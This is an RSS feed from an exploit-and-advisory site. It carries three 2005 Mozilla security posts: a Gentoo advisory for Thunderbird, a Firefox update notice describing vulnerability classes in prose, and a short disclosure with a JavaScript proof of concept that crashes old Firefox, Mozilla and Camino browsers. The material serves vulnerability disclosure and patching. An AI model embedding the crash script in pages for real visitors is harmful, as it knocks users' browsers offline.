<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Exploits and Security &#187; Mozilla</title>
	<atom:link href="http://www.exploitx.com/category/exploits-and-bugs/mozilla/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.exploitx.com</link>
	<description>Technology &#38; Security Tips &#38; Guides</description>
	<lastBuildDate>Tue, 22 Dec 2009 03:28:49 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Mozilla Thunderbird: Multiple vulnerabilities</title>
		<link>http://www.exploitx.com/105/mozilla-thunderbird-multiple-vulnerabilities/</link>
		<comments>http://www.exploitx.com/105/mozilla-thunderbird-multiple-vulnerabilities/#comments</comments>
		<pubDate>Mon, 18 Jul 2005 20:36:22 +0000</pubDate>
		<dc:creator>Exploitx</dc:creator>
				<category><![CDATA[Mozilla]]></category>

		<guid isPermaLink="false">http://www.exploitx.com/105/mozilla-thunderbird-multiple-vulnerabilities/</guid>
		<description><![CDATA[Gentoo Linux Security Advisory                           GLSA 200507-17
- &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; [...]]]></description>
			<content:encoded><![CDATA[<p>Gentoo Linux Security Advisory                           GLSA 200507-17<br />
- &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - -</p>
<p>http://security.gentoo.org/</p>
<p>- &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - -</p>
<p> Severity: Normal<br />
    Title: Mozilla Thunderbird: Multiple vulnerabilities<br />
     Date: July 18, 2005<br />
     Bugs: #98855<br />
       ID: 200507-17</p>
<p>- &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - -</p>
<p>Synopsis<br />
========</p>
<p>Several vulnerabilities in Mozilla Thunderbird allow attacks ranging<br />
from execution of script code with elevated privileges to information<br />
leak.</p>
<p>Background<br />
==========</p>
<p>Mozilla Thunderbird is the next-generation mail client from the Mozilla<br />
project.<br />
<!--adsense--><br />
Affected packages<br />
=================</p>
<p>   &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
    Package                  /  Vulnerable  /              Unaffected<br />
   &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
 1  mozilla-thunderbird           < 1.0.5                    >= 1.0.5<br />
 2  mozilla-thunderbird-bin       < 1.0.5                    >= 1.0.5<br />
   &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
    2 affected packages on all of their supported architectures.<br />
   &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Description<br />
===========</p>
<p>The following vulnerabilities were found and fixed in Mozilla<br />
Thunderbird:</p>
<p>* &#8220;moz_bug_r_a4&#8243; and &#8220;shutdown&#8221; discovered that Thunderbird was<br />
 improperly cloning base objects (MFSA 2005-56).</p>
<p>* &#8220;moz_bug_r_a4&#8243; also reported that Thunderbird was overly trusting<br />
 contents, allowing privilege escalation via property overrides (MFSA<br />
 2005-41, 2005-44), that it failed to validate XHTML DOM nodes<br />
 properly (MFSA 2005-55), and that XBL scripts ran even when<br />
 Javascript is disabled (MFSA 2005-46).</p>
<p>* &#8220;shutdown&#8221; discovered a possibly exploitable crash in<br />
 InstallVersion.compareTo (MFSA 2005-50).</p>
<p>* Andreas Sandblad from Secunia reported that a child frame can call<br />
 top.focus() even if the framing page comes from a different origin<br />
 and has overridden the focus() routine (MFSA 2005-52).</p>
<p>* Georgi Guninski reported missing Install object instance checks in<br />
 the native implementations of XPInstall-related JavaScript objects<br />
 (MFSA 2005-40).</p>
<p>* Finally, Vladimir V. Perepelitsa discovered a memory disclosure bug<br />
 in JavaScript&#8217;s regular expression string replacement when using an<br />
 anonymous function as the replacement argument (CAN-2005-0989 and<br />
 MFSA 2005-33).</p>
<p>Impact<br />
======</p>
<p>A remote attacker could craft malicious email messages that would<br />
leverage these issues to inject and execute arbitrary script code with<br />
elevated privileges or help in stealing information.</p>
<p>Workaround<br />
==========</p>
<p>There are no known workarounds for all the issues at this time.</p>
<p>Resolution<br />
==========</p>
<p>All Mozilla Thunderbird users should upgrade to the latest version:</p>
<p>   # emerge &#8211;sync<br />
   # emerge &#8211;ask &#8211;oneshot &#8211;verbose<br />
&#8220;>=mail-client/mozilla-thunderbird-1.0.5&#8243;</p>
<p>All Mozilla Thunderbird binary users should upgrade to the latest<br />
version:</p>
<p>   # emerge &#8211;sync<br />
   # emerge &#8211;ask &#8211;oneshot &#8211;verbose<br />
&#8220;>=mail-client/mozilla-thunderbird-bin-1.0.5&#8243;</p>
<p>References<br />
==========</p>
<p> [ 1 ] Mozilla Foundation Security Advisories</p>
<p>http://www.mozilla.org/projects/security/known-vulnerabilities.html#Thunderbird</p>
<p> [ 2 ] CAN-2005-0989</p>
<p>http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0989</p>
<p>Availability<br />
============</p>
<p>This GLSA and any updates to it are available for viewing at<br />
the Gentoo Security Website:</p>
<p>http://security.gentoo.org/glsa/glsa-200507-17.xml</p>
<p>Concerns?<br />
=========</p>
<p>Security is a primary focus of Gentoo Linux and ensuring the<br />
confidentiality and security of our users machines is of utmost<br />
importance to us. Any security concerns should be addressed to<br />
security@gentoo.org or alternatively, you may file a bug at</p>
<p>http://bugs.gentoo.org.</p>
<p>License<br />
=======</p>
<p>Copyright 2005 Gentoo Foundation, Inc; referenced text<br />
belongs to its owner(s).</p>
<p>The contents of this document are licensed under the<br />
Creative Commons &#8211; Attribution / Share Alike license.</p>
<p>http://creativecommons.org/licenses/by-sa/2.0</p>
]]></content:encoded>
			<wfw:commentRss>http://www.exploitx.com/105/mozilla-thunderbird-multiple-vulnerabilities/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Updated mozilla-firefox packages fix multiple vulnerabilities</title>
		<link>http://www.exploitx.com/70/updated-mozilla-firefox-packages-fix-multiple-vulnerabilities/</link>
		<comments>http://www.exploitx.com/70/updated-mozilla-firefox-packages-fix-multiple-vulnerabilities/#comments</comments>
		<pubDate>Fri, 15 Jul 2005 00:27:43 +0000</pubDate>
		<dc:creator>Exploitx</dc:creator>
				<category><![CDATA[Mozilla]]></category>

		<guid isPermaLink="false">http://www.exploitx.com/70/updated-mozilla-firefox-packages-fix-multiple-vulnerabilities/</guid>
		<description><![CDATA[Problem Description:
 A number of vulnerabilities were reported and fixed in Firefox 1.0.5
 and Mozilla 1.7.9.  The following vulnerabilities have been backported
 and patched for this update:
 In several places the browser UI did not correctly distinguish between
 true user events, such as mouse clicks or keystrokes, and synthetic
 events genenerated by web content. [...]]]></description>
			<content:encoded><![CDATA[<p>Problem Description:</p>
<p> A number of vulnerabilities were reported and fixed in Firefox 1.0.5<br />
 and Mozilla 1.7.9.  The following vulnerabilities have been backported<br />
 and patched for this update:</p>
<p> In several places the browser UI did not correctly distinguish between<br />
 true user events, such as mouse clicks or keystrokes, and synthetic<br />
 events genenerated by web content. The problems ranged from minor<br />
 annoyances like switching tabs or entering full-screen mode, to a<br />
 variant on MFSA 2005-34 Synthetic events are now prevented from<br />
 reaching the browser UI entirely rather than depend on each potentially<br />
 spoofed function to protect itself from untrusted events<br />
 (MFSA 2005-45).<br />
<!--adsense--><br />
 Scripts in XBL controls from web content continued to be run even when<br />
 Javascript was disabled. By itself this causes no harm, but it could be<br />
 combined with most script-based exploits to attack people running<br />
 vulnerable versions who thought disabling javascript would protect<br />
 them.  In the Thunderbird and Mozilla Suite mail clients Javascript is<br />
 disabled by default for protection against denial-of-service attacks<br />
 and worms; this vulnerability could be used to bypass that protection<br />
 (MFSA 2005-46).</p>
<p> If an attacker can convince a victim to use the &#8220;Set As Wallpaper&#8221;<br />
 context menu item on a specially crafted image then they can run<br />
 arbitary code on the user&#8217;s computer. The image &#8220;source&#8221; must be a<br />
 javascript: url containing an eval() statement and such an image would<br />
 get the &#8220;broken image&#8221; icon, but with CSS it could be made transparent<br />
 and placed on top of a real image.  The attacker would have to convince<br />
 the user to change their desktop background to the exploit image, and<br />
 to do so by using the Firefox context menu rather than first saving the<br />
 image locally and using the normal mechanism provided by their<br />
 operating system.  This affects only Firefox 1.0.3 and 1.0.4; earlier<br />
 versions are unaffected. The implementation of this feature in the<br />
 Mozilla Suite is also unaffected (MFSA 2005-47).</p>
<p> The InstallTrigger.install() method for launching an install accepts a<br />
 callback function that will be called with the final success or error<br />
 status. By forcing a page navigation immediately after calling the<br />
 install method this callback function can end up running in the context<br />
 of the new page selected by the attacker. This is true even if the user<br />
 cancels the unwanted install dialog: cancel is an error status. This<br />
 callback script can steal data from the new page such as cookies or<br />
 passwords, or perform actions on the user&#8217;s behalf such as make a<br />
 purchase if the user is already logged into the target site.  In<br />
 Firefox the default settings allow only http://addons.mozilla.org to<br />
 bring up this install dialog. This could only be exploited if users<br />
 have added questionable sites to the install whitelist, and if a<br />
 malicious site can convince you to install from their site that&#8217;s a<br />
 much more powerful attack vector.  In the Mozilla Suite the whitelist<br />
 feature is turned off by default, any site can prompt the user to<br />
 install software and exploit this vulnerability.  The browser has been<br />
 fixed to clear any pending callback function when switching to a new<br />
 site (MFSA 2005-48).</p>
<p> Sites can use the _search target to open links in the Firefox sidebar.<br />
 A missing security check allows the sidebar to inject data: urls<br />
 containing scripts into any page open in the browser. This could be<br />
 used to steal cookies, passwords or other sensitive data<br />
 (MFSA 2005-49).</p>
<p> When InstallVersion.compareTo() is passed an object rather than a<br />
 string it assumed the object was another InstallVersion without<br />
 verifying it. When passed a different kind of object the browser would<br />
 generally crash with an access violation.  shutdown has demonstrated<br />
 that different javascript objects can be passed on some OS versions to<br />
 get control over the instruction pointer. We assume this could be<br />
 developed further to run arbitrary machine code if the attacker can get<br />
 exploit code loaded at a predictable address (MFSA 2005-50).</p>
<p> The original frame-injection spoofing bug was fixed in the Mozilla<br />
 Suite 1.7 and Firefox 0.9 releases. This protection was accidentally<br />
 bypassed by one of the fixes in the Firefox 1.0.3 and Mozilla Suite<br />
 1.7.7 releases (MFSA 2005-51).</p>
<p> A child frame can call top.focus() even if the framing page comes from<br />
 a different origin and has overridden the focus() routine. The call is<br />
 made in the context of the child frame. The attacker would look for a<br />
 target site with a framed page that makes this call but doesn&#8217;t verify<br />
 that its parent comes from the same site. The attacker could steal<br />
 cookies and passwords from the framed page, or take actions on behalf<br />
 of a signed-in user. This attack would work only against sites that use<br />
 frames in this manner (MFSA 2005-52).</p>
<p> Several media players, for example Flash and QuickTime, support<br />
 scripted content with the ability to open URLs in the default browser.<br />
 The default behavior for Firefox was to replace the currently open<br />
 browser window&#8217;s content with the externally opened content. If the<br />
 external URL was a javascript: url it would run as if it came from the<br />
 site that served the previous content, which could be used to steal<br />
 sensitive information such as login cookies or passwords. If the<br />
 media player content first caused a privileged chrome: url to load then<br />
 the subsequent javascript: url could execute arbitrary code.  External<br />
 javascript: urls will now run in a blank context regardless of what<br />
 content it&#8217;s replacing, and external apps will no longer be able to<br />
 load privileged chrome: urls in a browser window. The -chrome command<br />
 line option to load chrome applications is still supported<br />
 (MFSA 2005-53).</p>
<p> Alerts and prompts created by scripts in web pages are presented with<br />
 the generic title [JavaScript Application] which sometimes makes it<br />
 difficult to know which site created them. A malicious page could<br />
 attempt to cause a prompt to appear in front of a trusted site in an<br />
 attempt to extract information such as passwords from the user.  In the<br />
 fixed version these prompts will contain the hostname from the page<br />
 which created it (MFSA 2005-54).</p>
<p> Parts of the browser UI relied too much on DOM node names without<br />
 taking different namespaces into account and verifying that nodes<br />
 really were of the expected type. An XHTML document could be used to<br />
 create fake <img /> elements, for example, with content-defined<br />
 properties that the browser would access as if they were the trusted<br />
 built-in properties of the expected HTML elements.  The severity of the<br />
 vulnerability would depend on what the attacker could convince the<br />
 victim to do, but could result in executing user-supplied script with<br />
 elevated &#8220;chrome&#8221; privileges. This could be used to install malicious<br />
 software on the victim&#8217;s machine (MFSA 2005-55).</p>
<p> Improper cloning of base objects allowed web content scripts to walk up<br />
 the prototype chain to get to a privileged object.  This could be used<br />
 to execute code with enhanced privileges (MFSA 2005-56).</p>
<p> The updated packages have been patched to address these issue.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.exploitx.com/70/updated-mozilla-firefox-packages-fix-multiple-vulnerabilities/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Mozilla Multiple Product JavaScript Issue</title>
		<link>http://www.exploitx.com/28/mozilla-multiple-product-javascript-issue/</link>
		<comments>http://www.exploitx.com/28/mozilla-multiple-product-javascript-issue/#comments</comments>
		<pubDate>Thu, 30 Jun 2005 08:44:16 +0000</pubDate>
		<dc:creator>Exploitx</dc:creator>
				<category><![CDATA[Exploits and Bugs]]></category>
		<category><![CDATA[Mozilla]]></category>

		<guid isPermaLink="false">http://www.exploitx.com/28/mozilla-multiple-product-javascript-issue/</guid>
		<description><![CDATA[Vendor:
Mozilla (http://www.mozilla.org)
Vulnerable Software:
Mozilla 1.7.8
Firefox 1.0.4
Camino 0.8.4
Vulnerability/Exploit:
By using a specially crafted JavaScript function, it is possible to
crash the above named browsers. The script can be executed both with and
without user intervention.
Proof of Concept:
-----START of PoC-----





       //Run the function 20000 times
           [...]]]></description>
			<content:encoded><![CDATA[<p>Vendor:<br />
Mozilla (http://www.mozilla.org)</p>
<p>Vulnerable Software:<br />
Mozilla 1.7.8<br />
Firefox 1.0.4<br />
Camino 0.8.4</p>
<p>Vulnerability/Exploit:<br />
By using a specially crafted JavaScript function, it is possible to<br />
crash the above named browsers. The script can be executed both with and<br />
without user intervention.</p>
<p>Proof of Concept:</p>
<p><code>-----START of PoC-----<br />
<html><br />
<head><br />
</head><br />
<body><br />
<script language="JavaScript">
       //Run the function 20000 times
               for (a = 0; a < = 20000; a++)
               {
                       //Here is the special code that terminates the browser
                       function(){};
               }
       //Displays an alert to notify the user if the browser is not vulnerable.
               alert("Good news - Your browser is not vulnerable.");
</script><br />
</script></body><br />
</html><br />
-----END of PoC-----</code></p>
<p>Proof of Concept (Online):<br />
Manual: http://www.kurczaba.com/html/security/0506241_poc.htm<br />
Automatic: http://www.kurczaba.com/html/security/0506241_poc2.htm</p>
<p>Workaround:<br />
Disable JavaScript</p>
<p>Date Discovered:<br />
June 14, 2005</p>
<p>Severity:<br />
Low</p>
<p>Credit:<br />
Paul Kurczaba</p>
<p><strong>More vulnerabilities and exploits</strong><br />
<!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.exploitx.com/28/mozilla-multiple-product-javascript-issue/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
